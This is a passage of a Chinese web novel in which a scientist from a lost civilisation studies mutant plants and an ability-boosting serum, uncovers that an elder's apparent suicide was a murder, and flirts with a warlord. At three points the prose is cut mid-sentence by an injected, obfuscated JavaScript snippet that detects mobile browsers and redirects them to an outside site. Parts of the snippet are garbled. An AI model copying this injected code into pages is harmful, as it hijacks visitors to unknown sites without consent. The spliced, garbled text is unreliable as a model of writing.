然而重岩听不懂母鸡的咕咕咕，亦步亦驰地跟在祝晏身后。 其他队员看祝晏在跟重岩讲着什么，时而推一下眼镜，只觉得看到了兔子博士，如往日那般凑过来。 “我在检测土壤的时候注意到，不止是养分，放射物质也被变异植物吸收了。” 他切下一片变异植物的根茎，又从口袋里拿出一小试管的暗红的血液，分别放入小型分析仪器。 很快，分析仪器上出现了一串相似的符号。 “毁灭武器爆炸时产生的辐射物质对所有生物都是剧毒，但其中一部分生物适应并融合了辐射物，扩大了感官和对自然界中各种元素的调动，表现出来，就是进化。 植物的呼吸能力让它们相当于辐射物质的储存容器，和你们的异能同源，觉得有毒，是因为辐射物质过量，身体一时承受不住。” 周围一片沉默…… 重岩问：“是……什么意思？” 祝晏无声地叹气：“简单来说，就是不用着急种植未变异植物，可以只分离出变异植物中一部分辐射物质，减小人力成本，提炼出的物质也可以用于对异能的研究。” 还是沉默…… “去看动画吧，” 祝晏叹了口气：“我有结果了再给你们看，成熠过来帮我加热蒸馏瓶。” 众人欢呼一声，在帐篷里打开投影仪。 重岩留在原地，仔细思考了半天，才试探着问道：“你的意思是，变异植物的毒素，是让我们有异能的东西？” 祝晏再看过来，原本淡然的目光已经满是欣赏。 重岩：“所以我们吃带毒的变异植物，是不是有可能提升异能？” “这个未必。” 祝晏否认，但顿了一下，又改口道：“不过换一种方式，把它提炼成药剂，还是有可能实现。” 他拿起手边一管粉红色的试剂，用针筒抽出一点，打进了小队成员为他抓的变异兔子腿上。 兔子在短暂的安静后，双眼立刻冒出红光，钢一般的大牙不知疲惫地咬着笼子，几乎要把笼子撞翻。 把不远处偷听的成熠看得胆战心惊，小声跟旁边的枭嘀咕：“兔子博士在欺负同类。” 祝晏给兔子推了两针麻醉才把它麻倒，摇了摇头：“还是很不成熟，不能用在人身上。” 重岩的呼吸加重了几分。难掩激动：“……您知道这对我们来说意味着什么吗？” 祝晏推了推眼镜，提醒道：“现在还不算实验成功。” “就用了这么几天……” 重岩仿佛没有听到，重新触碰花盆里的土，这次感受到的却不是不舒服，而是渗入骨血一般，流淌着的生命力。 研究出异能者种不出未变异植物的原因，可以说是前人类本就拥有的技能，可涅槃才开启几天，祝晏之前可从不知道异能的存在！ 这一刻，机械降神仿佛摧毁了基地第二强者对异能的信仰，他喃喃道：“前文明……连异能都能学到吗？” “这些当然学不到。” 祝晏停下手中的动作，思考了一会儿，难得说了很长一段话，为他解释。 “但是……可以在漫长的历史中，找到相似的案例，能利用数学思维权衡利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515667|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弊，作出最大获益的决定，能凭借艺术人文的感性共情思考，预测他人的行动，能因为理想和道德，突破人性和本能……” “人类文明的重要性远超我语言所能描述，” 说到这些时，祝晏抬起头，望着蒙蒙亮的天上，还未散去的群星，眼中仿佛也沁着细碎的星光。 “我们甚至凭借科技，到达过那里，那颗星星的地方。” “传承文明，不是我个人的理想，而是为了所有还在蒙昧中，遗失了最珍贵的宝藏。” 又开始了…… 还真是不放过任何一个推荐前文明的机会。 重岩心中好笑，不免又觉得他固执到可爱，但这一次，他却好像真正被说服了。 异能者信奉实力，《兔子博士》告诉观众小朋友，聪明的大脑也可以信仰。 但在此之外，还有另一种令人钦佩的东西，藏在祝晏那细瘦的身体里。 从音乐剧的剧情就知道，前人类保守又脆弱，可祝晏竟然愿意为了理想，被枭私下里欺负…… 他想起在涅槃时，祝晏哭着跑出观影室的那一幕，心下一阵心疼，但又想到，祝晏这样聪明的人，一定是经过考虑，才做下决定。 望向那双镜片后的漂亮眼睛，欲言又止后，郑重道：“祝老师，我愿意学习。” 然后超过枭，解救祝先生。 祝晏收回视线，继续做自己的事，回他一声轻飘飘的“嗯。” 重岩捧着花盆，进帐篷看动画片去了。 换一种角度，《兔子博士》就像开启前文明大门的钥匙，简直到处都是知识。 成熠的注意力一直在枭脖子的红痕上，没听懂重岩在激动什么，见重岩进帐篷，也跟着窜了进去，着急地问其他人自己错过了什么剧情。 帐篷外，枭悄无声息地坐到祝晏身边，半晌，才像是抱怨般说道：“连我的副首领都倒戈了。” 祝晏眼睛一亮：“这个词用的好，首领进步很快。” 他转过头，眼角挂着笑意：“首领不是早就倒戈了？” 男人盯着他的背影，又感受到了在涅槃时，队友全都被腐化的经历：“我跟他们不一样。” “我们是合作伙伴，不是敌人。” 祝晏无奈：“首领不想看别人靠近我？怎么像是吃醋。” 才没有。 枭在心里反驳。 他起身，凑近还在摆弄瓶瓶罐罐的祝晏，盯着他手边那管粉红色液体和被麻翻了的兔子：“关于这个提升异能的东西……” 祝晏：“你想要？” 他推了推眼镜，眼镜的反光泛着冰冷，仿佛在质问凭什么。 男人一手搭上实验台的边沿：“我们是合作伙伴，祝顾问。” “合作是商量好的，不包括异能药剂。” 祝晏：“药剂是另外的价钱。” “什么价钱。” 枭凑得更进了一点，撑着实验台，微微弯腰，脖颈恰好在祝晏鼻尖，属于人类的肌肤泛着健康的肉白色，常年的战斗和锻炼，让肌肉的覆盖均匀又有力量感。 上面的指甲印消得差不多，但是还能看到星星点点的红痕。 男人低声，仿佛与情人交换秘密：“祝先生……还没有拥抱过吧？” 系统懵了：“反派干什么呢，涩诱你？” 11. 文明火种-11 是不是反了…… 母鸡扑腾着翅膀凑过来，看看祝晏，又看看枭：总觉得这个世界世界有些颠倒。 更令它惊讶的是，祝晏仿佛真的被诱惑到了，盯着男人的脖子，半晌收住眼中的欲望，闭眼摇了摇头。 系统：无语 祝晏：“我有渴肤症，被诱惑不是很正常？” 虽是这样说，他套着手套的手将枭推开了一点，在自己背的小包里翻啊翻，拿出一叠计划书，拍进男人怀里。 枭完全没有被拒绝的尴尬，接过计划书，简单翻了翻，随即被里面的内容吸引，保持靠在实验台的动作，一点一点看完。 “新联盟……” 男人把计划书卷起来，拍了拍手心：“你什么时候写的？” 祝晏：“昨天。” 系统：“胡说，你昨天在偷懒，这是我写的。” 祝晏手指母鸡：“它写的。” 枭被逗笑，抬脚把系统拨飞，看着母鸡骂骂咧咧扑腾着翅膀逃开，有些挑衅地看着祝晏：“这些跟维护基地稳定可没有关系，祝先生这么聪明，应该知道这些计划有多难实现。” “你就给我几管不知道能不能用的药？” 祝晏放下手中的东西，推了推眼镜，转头与他对视。 隔着镜片，能看到那双眼睛的主人陷入了思考，随后意识到什么，恍然大悟后，眼中盛着三分不解，四分无奈，学着他刚才的模样，向他靠近。 不会描述的冷香萦绕鼻尖，男人表情一僵，突然有种把单纯小孩教坏的愧疚感，向后退了半步。 卷起的纸筒轻轻抵在青年胸口：“不用了，这是另外的价钱。” 虽然离基地没有多远了，第一小队还是按照平时的习惯，等祝晏困了才出发。 重岩这次没有挤在后车看动画，担任了前车的司机，枭坐在副驾，怀里抱着祝晏的宠物鸡，翻着祝晏给他的计划书。 两人默契地没有说话，车里只余翻书和祝晏浅淡的呼吸声。 仿佛响在耳边，给人一种自己离他更近的错觉。 * 祝晏是被哭声吵醒的。 他坐起来，恰好见到林筝飞快从后车冲进前面的建筑。 建筑门里门外，聚集着各色头发的异能者，端着蜡烛哭泣。 系统难得没有冷嘲热讽：“我听他们说，笛老去世了。” 笛权，基地年龄最大的前文明老人，基地学校的负责人，给基地大半的孤儿起过名字，涅槃基地坐标的提供者。 死了。 在祝晏即到达基地的前一天。 “原著里没有这件事。” 系统有些唏嘘：“看着是冲着你来的，宿主请小心应对。” 祝晏下车，四周立即迎来无数视线。 不算友善，甚至掺杂着怨恨。 “祝先生，” 留在车边的成熠朝他点头，声音沉重：“老大和重岩已经进去了，老大说如果你害怕，就先回首领府。” “没关系。” 祝晏摇头：“我去看看” 这个二层建筑大概是异能者自己搭的，用的都是建筑垃圾一样的碎砖，坚固但是完全不在乎美观，有些凸起的部分，还有用高温烧灼融化的痕迹。 走上二楼后，哭泣声小了点，第一小队的人围在一张床前，表情凝重。 床边除了哭到肩膀颤-抖的林筝，还有一个白金色头发的青年。 他低着头，被一个老人搂着肩膀安慰。 老人一边拍他的肩膀，一边对枭施压：“当初是笛老收养你长大，你夺了我们这群老东西的权，笛老也没有生你的气，笛一相当于你的亲弟弟，你忍心看他成为孤儿吗？” “别说了，刘爷爷。” 名为笛一的青年打断老人，接着抬起头，用蓄满泪水的大眼睛望着枭：“枭哥哥，我不需要你收留我，我只想知道我爷爷留下的遗书是真的吗，你真的从涅槃带回了前人类，还要重新连接网络，是吗？” 枭手里拿着笛老的遗书，声音冰冷：“这个跟你没有关系。” “怎么没关系！” 青年提高音调：“爷爷死了，我就是新的互助会长，我能代表两百万低阶异能者！” “我爷爷就是因为后悔给你们坐标才会自杀赎罪，” 他流着眼泪，字字泣血：“我们和AI打了那么久，你们连接网络，是想投降吗？” “笛一，” 重岩打断他：“事实不是你想的那样。” 沉浸在悲伤里的林筝也扯了扯笛一的袖口：“小一，你误会了，笛爷爷的事肯定另有隐情，祝先生跟AI没有关系，他是前文明的传承人，你忘了吗，笛爷爷最喜欢前文明了，他怎么可能为这件事自杀？” 笛一甩开他的手：“可是那遗书上就是我爷爷的字！你们都认识的，基地没有人第二个人能写出来了！” 挣-扎间，笛一看到门口的祝晏，目光一凛：“就是你？” 祝晏只能看到一束强光从青年的方向照射过来，只是还未近身，就被瞬间改变形态的空气折射，扭转了方向。 与此同时，祝晏的四周，立即树满了岩墙、冰墙、水屏…… 笛一的激光打在墙上，只留下了一个小小的黑坑，看起来没什么攻击力。 这就显得一群人刚刚的应对十分小题大做。 “你，你们……” 笛一不可置信地扫视周围这些平日里高高在上的强者：“你们疯了！” 被视线点到的几人尴尬地揉了揉鼻子。 “节哀。” 祝晏扶着岩墙，从异能屏障里走出来，朝枭伸出手：“给我看一下。” 老人，笛一，还有屋子里其他来吊唁的高位者，全都屏住呼吸，看向祝晏。 他怎么敢的，一副柔柔弱弱，看起来比最低阶的异能者都要羸弱的身体，竟然用命令的语气跟枭说话？ 枭可是基地最强的异能者！ 笛一等着枭发作，最好把保护祝晏的小队成员也教训一顿。 然而枭只是转头看了一眼那只戴着手套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515668|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手，动作轻缓地将遗书放进到他手中。 遗书的内容跟笛一控诉的一样，这位“笛老”忏悔他提供坐标的行为，认为是他通过涅槃把AI的间谍引入基地，是基地的罪人，所以以死谢罪。 祝晏：…… 好拙劣的借口。 而其他人竟然全都相信了。 似乎是从祝晏长久的沉默中感受到了他的情绪，笛一怒视着他，恶狠狠道：“我爷爷是前文明的好人，你才不会懂他心里是怎么想的。” “天下无道，以身殉道。如果是真的，笛老的确让人佩服，我也的确可恶。” 祝晏把遗书还给枭，接着摇了摇头：“但是……前人类认同殉道，却不是傻子，也该知道要死得其所。” 沉默…… 祝晏知道他们又没听懂，向笛一身旁的老人要了纸笔。 异能者返璞归真，用的是蘸墨汁的羽毛笔，祝晏适应了几笔，然后用笛老的字迹，写下“天下无道，以身殉道”八个字。 笛一不可置信地拿起纸，见枭伸手，又颤-抖着交给枭。 “我从未说过要在AI彻底消失前建立网络，如果我有这个倾向，首领也不会答应。” 祝晏从口袋中拿出手帕，递给笛一：“字迹可以伪造，凶杀现场也可以伪造，介意我看一下尸体吗？” “尸体……” 笛一因为他的用词再度燃起怒火，但第一小队知道，按照祝晏的说话习惯，还顾得上安慰笛一，已经非常客气了，换成他们，更不知道该怎么说。 于是默契地让开位置，给祝晏和尸体留了一条通道。 床上的老人仰躺着，遗容已经被整理好，被子整齐地盖在身上。 祝晏把被掀开，又在笛一敢怒不敢言的视线下，解开了他上衣的扣子，露出胸-前的刀口。 林筝不忍心看，小心翼翼瞥了一眼，随即“嗷”的一声，跟笛一抱头痛哭。 祝晏拿过刀，没用多看，就确定道：“是他杀。” 枭目光黑沉：“他是谁？” 门口鬼鬼祟祟，躲避饥饿异能者的母鸡差点摔了个跟头。 祝晏抿了抿嘴，维持住了人设：“某个人，他杀与自杀相对，是有其他人杀了笛老，伪造现场。” 他指向伤口：“心脏周围没有毛细血管，只是被刺中，不会形成喷溅状血迹，但是你看天花板和墙面。” 异能者的自建房没有刷漆，血迹并不明显，祝晏在随身的小包里拿出紫光灯，对着墙壁和天花板照过去。 喷溅成点状和条状的血迹布满整个屋子，就是经常战斗的高阶异能者，在看到这个场景时，也忍不住起鸡皮疙瘩。 祝晏：“刀口竖直，能形成这样的血迹，说明刀是直接扎穿肋骨，刺进心室，又大力拔出，笛老大概是低阶？年纪也不小，大概没有这么大的力气。” 他把刀放下：“你们也可以按一下试试，看肋骨有没有断。” 笛一和林筝下不去手，是护着笛一的老人伸手去探，随后震惊地抬起头：“是断的。” 12. 文明火种-12 几秒后，笛一的哭声再次响彻小楼，外面守着的低阶异能者在楼下探头探脑，听见他哭着喊：“是谁！谁杀了我爷爷！” 众人没有打扰他，沉默地看着老人重新收拾好笛老的遗体。 但是拦不住一楼传来的声音。 “什么？笛老不是自杀？” “好像是那个前文明来的人发现的，他比反思会的人还神，看一眼就知道是别人杀了笛老。” “为什么！笛老是好人啊！基地又有AI叛徒了？” “前人类……是那个长的很漂亮的黑头发？我还以为是首领的情-人。” “他说话很像副首领的，要是情-人，也该是副首领的情-人，我还看到副首领给他搭岩墙保护他，他还摸了岩墙！” “天啊，那不就是副首领的身体……” 也许是异能者经历过太多同伴的死亡，楼下的低阶异能者显然已经从悲伤中走出来了，八卦越说越不像话，然而现场几人中，林筝沉浸在悲伤中没注意，只有高阶异能者听到了。 屋子里还有其他属于其他小队的高阶分区首领，听了一楼传来的话，视线在祝晏和重岩之间打转。 祝晏：…… 他也没想到，在基地的第一个绯闻对象不是枭，而是重岩。 “祝晏是前文明的人，没有走出过涅槃，没有也没见过异能。” 惜字如金的首领黑着脸，难得说了个长句子。 “他现在是首领顾问。” “顾问”这个身份名称还是祝晏提供给枭的，在场除了几个前文明老人，也没有人懂是什么意思，只怀着对“没有异能”的好奇，一边打量一边叫人。 第一小队的成员都是基地最高的强者，他们不会不识好歹，去惹恼被他们一同保护的人。 而看起来同样有话语权的前文明老人还是对祝晏保持着些微的敌意，见枭就要离开，连忙把笛一推上前：“首领，你还没带上小一。” 枭抬手，用刀鞘挡住差点被推到他身上的笛一，耐心看起来十分有限：“不带。” 笛一还在流眼泪，任由老人推来推去。 他不敢直接拉扯枭，抬起头，可怜地望着他：“枭哥哥，查出杀害爷爷的凶手前，我能不能先住在首领府，我，我有点害怕。” 枭冷漠得让人想哭：“你也可能是凶手。” “你…你怎么能这么说我！枭哥哥，你以前不是这样的呜呜呜。” “宿主，你勾搭的男人有竹马耶。” 一路上没什么斗志的系统声音都兴奋了起来：“枭哥哥～” 祝晏：“你小心我投诉你。” 放飞自我的系统停了下来。 细碎的哭声吵得祝晏头疼，恰好他对笛一这个人还算好奇，于是按住了枭正要抬手甩人的胳膊：“首领，带他走吧。” 好大的胆子！竟然敢直接拦住首领！ 然而和之前一样，首领低头看了看，完全没有对祝晏生出任何不满。 “理由？” 祝晏：“他看着很可怜。” 一个能扮猪吃老虎把第一小队关起来的人，会因为觉得一个人可怜，就满足他的无理要求？ 重岩在人后，猜测着祝晏这么做的原因。 枭见祝晏不想多说，便点了头：“那就带着。” 他是对老人说话，视线却是对着他们中间的林筝，一句话，让悲伤的三人都僵在原地。 “正好问问你们怎么知道，我带回来的涅槃宝藏是人。” * 祝晏现在是清醒状态，小队成员们默认他不能坐车，提出一起去街上走走。 A省基地建立在前文明的一线城市，曾经的基础设施，有些还完好无缺，有些经历过异能者风格彪悍的改造，也有笛老家那样完全由异能者自己堆砌的。 狂野与规整突兀地互相侵袭，各色头发的异能者来去匆匆，比在野外时，更有置身末世的实感。 到了自己的主场，队员们终于获得了些掌握信息差的快乐，给祝晏介绍他看到的一切。 路人看到这一幕，都差点惊掉下巴：“长得漂亮也太好了，有这么多高阶都想要他。” 小队成员没有理会这些目光，在他们看来，祝晏是另一角度的强者，尊重向往强者，天经地义。 但在外人看来，变化最大的是他们。 笛一从前跟爷爷接触过这些眼高于顶的高阶强者，他们的眼中，一向是看不见低阶的，仿佛低阶与他们是不同物种，不提尊重，有些人简直是未开化的野兽，不会思考，行为粗俗，因为强大的实力才跻身高位。 什么时候，有过现在这样，动辄“请”“您”，前呼后拥，尊重弱者的时候。 他现在知道爷爷不是自杀，但还是看不惯祝晏。 爷爷都教不好的野兽，怎么可能短短几天就发生翻天覆地的变化？ 他忍不住拍拍旁边的林筝。 “林筝，你跟他们在外面有没有……” 手落在肩膀上，他才察觉林筝表情严肃，身子不正常地发抖。 笛一：“你怎么了？” 林筝摇头，抬手擦掉额角的冷汗。 他听到消息的时候太难过，完全忘了最重要的一点。 基地的人，到底是怎么知道涅槃里的宝藏是人！ 最大的可能，就是小队的人告密。 当枭的视线落在他身上时，他才从一路上看动画的轻松氛围中清醒，意识到在这个队伍里，除了他，全都是一起战斗了多年，互为好友的强者。 泄密的人，只能新加入，又属于互助会的他。 有人在害他！ 林筝尽量放轻脚步，可还是有种被前面的高阶强者监视的感觉，大脑在高度紧张下疯狂运作，寻找脱困的机会，却因为实力的绝对差异陷入绝望。 恍惚间，他听见有人在叫自己的名字，接着，差点撞上前面的队友。 林筝抬头，只觉得高大的高阶异能者们都在用不善的眼神看着他，而在他们中间，有个稍稍凹陷的空隙，夜光石发出的光亮洒在那人的头顶。 是祝先生。 他听见祝晏的声音：“我对基地的情况不熟悉，需要一个帮手，你愿意吗？” “愿意……” 仿佛水中挣扎的溺水者抓住最后一根救命稻草，林筝使劲点头：“我愿意！” “不行。” 抱着刀的枭用异能迫使祝晏转回身：“换一个。” 成熠兴致勃勃：“祝先生，我也没有领地，我异能还强，让我跟着你呗。” “你想来也可以。” 祝晏仍不改口：“林筝我也要。” 一阵风吹过，他因为分心，被吹得一个踉跄，差点把母鸡从怀里扔出去。 枭熟练地拎起母鸡的翅膀跟，又用异能托了他一把，余光扫了一眼热切看着祝晏的林筝：“不行，这是为了你的安全。” 重岩也回头看了一眼，丝毫不顾互助会的新会长就在身后：“我们回来之前，一直觉得低阶和前人类组成的互助会能支持你，但现在看来，他们反而对你抱有恶意。” 林筝现在是小队叛徒嫌疑人，更是互助会成员。 “我们那是被骗……” 笛一想大声辩驳，随即被林筝拉住了衣角。 “就他吧。” 祝晏的声音不大，仿佛一阵风就能吹散，却好像响在了林筝头顶：“我相信他不会伤害我。” 轻飘飘的一句话，就把他从基地监狱拉到了地上。 仿佛经历了一场新生，思维也因为冷静清醒过来，想到了其他的可能。 枭沉默蹙眉，看起来依然不同意。 “异能者不是前人类。” 他还在做最后的努力：“我们最擅长欺骗和背叛。” “是你让我随便挑的。” 祝晏提醒他：“还让我不要客气。” 枭黑脸：“我知道。” 难得看首领吃瘪，小队成员顾不上林筝，暗中交换视线，偷偷忍笑。 笛老的房子在C区，要走到首领府需要很长时间，银雪便提出，让祝晏在她那里先住下。 “除了钟楼，C区还有不少古建筑，祝先生记得吗，你之前还答应我在这里住一段时间。” 有人对银雪想要独占动画的行为表示不满，银雪直接道：“那就去我那里看，多少人都住得下，钟楼还有一个房间，有一排排的椅子，很像涅槃的观影室。” “真的！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515669|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>大家兴奋起来：“那我想看音乐剧！” 众人像是《兔子博士》里的森林动物，团结一致地直接商量着决定了，唯独忘了不喜欢跟他们一起看动画的枭。 好在副首领还记得这位上司，脚步突然停了下来：“首领。” 枭用异能拨开祝晏脚边的石头，抬起头：“怎么？” “你是不是还要送笛一回首领府？” 重岩朝他笑笑：“放心，我们会保护好祝先生。” 几乎被遗忘的笛一听见自己的名字，哀哀切切地看向枭。 “祝先生……你想去吗？他们可以自己去看，首领府也算前文明遗迹，而且关于合作，我还有事想请教。” 首领说话也开始文质彬彬了。 众人看到祝晏眼中的欣慰，这才意识到，刚才他们的讨论，不止跳过了枭，还没有问祝晏的意见。 啊，是兔子博士说过的“尊重他人，学会询问”！ 可恶，相比首领，他们还是略逊一筹！ 枭低头看着祝晏，不觉得他会拒绝自己。 跟这些乱起哄，小孩子一样缠着祝晏的人不同，只有他知道祝晏的病。 一路上躲着人，两人都是匆匆握一下手就分开，每次松手，他都能从那双雾蒙蒙的眸子里看到意犹未尽。 他也一定在期待一个安静无人的空间，期待真正的“治疗”。 但重岩今天的话实在有点多，他依旧是那副带着笑容的假面：“首领，祝先生刚来基地，总要让他休息一段时间再忙。” 接着，转过头，对祝晏使出必杀技：“祝先生，关于音乐剧的历史背景，我们都很好奇，你愿意给我们讲讲吗？” 祝晏镜片的反光一闪：“你们想听？” 有重岩冲在前面，小队成员乐得附和。 “想！” “特别想！” “我们现在对历史非常感兴趣。” 这几句话像是用在猫身上的猫薄荷，轻轻松松就把祝晏吸引了过去。 最终，首领被抛弃，带着哭哭啼啼的“弟弟”笛一，和对动画恋恋不舍的嫡系手下成熠回了首领府。 成熠带笛一去房间。 枭坐在沙发上，想到这位“弟弟”还是祝晏做主接过来的，做决定的那个人却去了别人家，差点被气笑。 打理首领府的是一个金属系异能的高阶少年，见枭反常地坐在黑暗中，好奇道：“首领，您不休息吗？” “我听说您从前文明基地带回来了个前人类，” 少年消息灵通，见枭只是沉默，没有打人，以为他心情不错，继续好奇道：“前人类跟我们有什么不一样吗？” “不一样。” 枭想到祝晏细白脆弱的手腕。 紧接着，又想到他从未低人一等，游刃有余的态度：“也没太大不同。” 少年懵了，到底到底一不一样？ 他挠挠头，一头银色短发在夜光石下泛着白色的光。 与冰系的发色一般无二。 “阿金。”男人突然想到什么：“你知道……银雪平时会送人冰雕？” “知道……” 阿金观察着他的表情，突然捂住嘴，瞪大了眼睛：“她她她她……她给您也送了吗？” 枭看他的反应，这才意识到不对：“什么意思？” “那是让人做她的情人！” 阿金向后退了几步，生怕被枭突然的怒火波及到，心中暗忖，银雪好大的胆子，连首领都敢觊觎。 高阶的世界中，没有性别只有强弱，邀请人做情人，不会因为邀请者是男是女而发生意义的改变，被邀请，说明在实力上，他被邀请者轻视了。 银雪疯了？ 而刚好从客房回来的成熠见状，也懵了。 “首领你不知道银雪送冰雕的意思？那我之前告状，你说不管她是因为……” 他看着枭的脸色，没敢说完，声音弱了一点：“应，应该没关系吧，重岩还在呢，重岩好像也很喜欢祝先生，不会愿意跟银雪共享情人……” 不等他说完，枭拿起外套，直接从窗户跳了出去。 阿金从成熠的话里猜出了个大概，颇为佩服地看了他一眼：“你可真会说话。” 13. 文明火种-13 异能者对待前文明，就像幼稚园的小朋友对待童话书，总是一遍又一遍，不厌其烦地央求监护人重复读同一个喜欢的故事。 小队成员也有特别喜欢的音乐剧，学会投影机的使用方法后，总是一次又一次打开，好像都不会看烦。 枭走进钟楼的废弃影院时，里面响着熟悉的旋律，屏幕上放的，还是与祝晏达成合作那天的音乐剧。 只是这次，小队成员已经知道中间才是最佳的观影位置，而祝晏不在其中。 他转身就走，除了听见声音，回头看到他背影的重岩，沉浸在音乐中的众人都没有发现他的存在。 整座钟楼都是银雪的住宅，枭一层层上楼，很快在流通的空气中听到了熟悉的声音。 祝晏趴在钟楼顶部观景台的栏杆，听见脚步声，连头都没回，便知道是他来了。 “首领来找我？” 枭没回答，直接上前，比祝晏大了半圈的手不轻不重地落在祝晏身侧的栏杆：“你一直站在这儿？” 祝晏点头，试图从另一侧移开：“如果你是想问我有没有看到你从房顶飞过来，我看到了，弹跳力真强。” 枭：…… 他把另一只手扣在祝晏另一侧，挡住了他躲开的路：“跟我去首领府。” 祝晏在他圈出的狭窄空间中转身，腰部靠在栏杆上，身体稍稍向后倾倒：“为什么？” “不安全。” 男人盯着他的眼睛，仿佛又出现了幻觉，没有从中窥视到他转身时那抹若隐若现的促狭笑意。 “异能者睡觉时会异能失控，祝先生身体弱，不适合住在这里。” “没关系。” 青年推了推眼镜：“我不睡她的房间。” 枭：…… “我知道。” 几乎被抱在怀里的青年歪了歪头，等他解释自己踩着房顶过来的原因。 “银雪是基地排名第四的强者，她能把这座钟楼冻起来，还有你的病……” 男人抬手，放在祝晏看起来差点悬空的后背：“习惯牵手这样的普通接触后，该进一步脱敏了。” 身形单薄的青年因为他突然的触碰轻轻缩了一下肩膀，又很快放松，甚至主动躺在他手上，汲取热度，呼吸不自觉地加重：“这样啊……” 他摘下眼镜，用近视后雾蒙蒙的眼镜望着男人，扶着他的胳膊站直。 却没有直接扑进男人怀里，任凭过于靠近的距离把对方源源不断的体温隔着空气送到面前，仿佛已经拥抱的错觉引发更深的病状，还在慢条斯理地脱着手套。 枭没有渴肤症，但高阶强者过度敏感的感官和随时都会被人撞见的场景让他长久沉寂的心跳不受控制地加快。 若隐若现的冷香也随着浅淡的风充盈鼻腔，这还是他第一次，这样长久，这样仔细地分辨这个味道。 如果旁边有人，会发现病人完全没有讳疾忌医，还积极配合治疗，转头把脱下的手套搭在栏杆上后，伴随着机器故障一样的掉帧和卡顿，一点点缩进了医生的怀里。 一瞬间，如同雪地里冻了一晚的小流浪猫，拼命地把自己往热源里塞，没有了手套格挡的双手非常没礼貌地顺着衣摆深入，感受着男人坚硬肌肉上覆盖的温热皮肤，贪婪地感受着活人血肉的紧绷触感。 而医生非常有职业素养，在得到病人的瞬间，面不改色，立即收紧胳膊，仿佛真的没有任何杂念，把病人当作任何的男女老少，把自己当作纯粹的治疗工具。 如果忽略他强而有力，仿佛拥有了独立人格的心跳的话。 “声音在固体中传播的速度比空气快。” 祝晏的声音幽幽传出，青年在他怀里抬起白净的小脸：“首领，你的心跳有点吵。” 枭无声地长吸一口气，放慢心跳，胳膊也稍微松了一点。 病人对他的反应很不满：“胳膊收紧一点。” 医生照做。 但还是没有让病人满意。 “不对，不是这样。” 祝晏双手放在他的胸口，强忍着推开他，趁着他还没反应过来时，推着他连连向前几步。 枭被迫后退，膝窝碰到椅子边沿后，直接被按到了椅子上。 在他思考到底是自己突然便弱了还是祝晏力大无穷时，小流浪猫已经蜷起双腿，扯开他黑色的T恤，整只猫钻了进去，命令道：“胳膊，收紧。” 枭对自己的力量和小猫的承受能力有明确的认识，不敢太用力，却惹得对方不满，最终以一个自以为是虐猫的力度扣紧双臂，小猫才安心地把头埋在他肩膀，一边不安分地乱抓乱挠，一边发出满足的叹谓。 …… 不对，不是猫。 在基地还未形成规模时，会有变异狐狸假装被驯服，混进人群，用漂亮的皮毛，可爱的鸣叫放低人的警惕性，然后钻进人类的怀里，趁着人类沉浸在拥抱的幸福时咬断他们的喉咙，撕扯出还在跳动的心脏。 却不会立刻进食，而是叼在嘴里，等那颗心里的血流干了，再一小块一小块地咬碎，细细品味。 祝晏分明是一只变异狐狸。 像是为了证实猜想，他再次不受控制的心脏也传来阵阵隐痛，向主人预告风险。 枭有一种，把自己给送出去的错觉。 祝先生犯病时，会变得不一样吗？ 枭想起上次自己被抓坏的脖子，还有在涅槃时，顺着领口攀上去的手…… 如果不是那只未变异母鸡突然出现，他或许在涅槃就被小狐狸钻了心脏。 在肩膀那颗毛茸茸的脑袋咬上肩膀后，枭揪住他的后颈，把他拔了下来：“你的鸡呢？” “银雪的情人怕尖嘴动物，我进来前把它关进笼子，放在门口了。” 祝晏被迫与温热的血肉分开，被楼顶的风吹得清醒了一点，挣扎着戴上眼镜，看清了枭肩上的咬痕。 “呃……” 理智渐渐回笼，祝晏扶住眼镜向躲，却被枭的T恤挡住了去路。 他这才后知后觉地发现，两人正共用一个领口。 “抱歉……” 柔弱的前人类连忙从T恤里钻出来，却发现最强异能者的衣服被扯得没了弹性，皱皱巴巴堆在胸口，好像被谁揪着领子揍过一顿。 于是尴尬地把头撇开，用抬眼镜的方式掩饰尴尬，转而去拿手套。 却一个不小心，把手套碰掉了。 祝晏立刻扑上栏杆去抓，没有抓住，眼睁睁看着手套小白鸽一般向楼下俯冲。 接着，在空中转了一个弯，又飞了回来，直接越过了祝晏头顶。 他回头，见男人还坐在椅子上，手里握着他的手套，窝窝囊囊的领口不影响颜值，在夜光石下像一尊冷峻的雕像。 男人站起来，拉过他的手，给他重新戴上手套。 